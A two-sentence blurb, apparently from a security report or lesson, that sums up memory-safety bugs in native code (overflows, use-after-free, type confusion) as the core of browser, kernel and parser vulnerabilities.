
The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.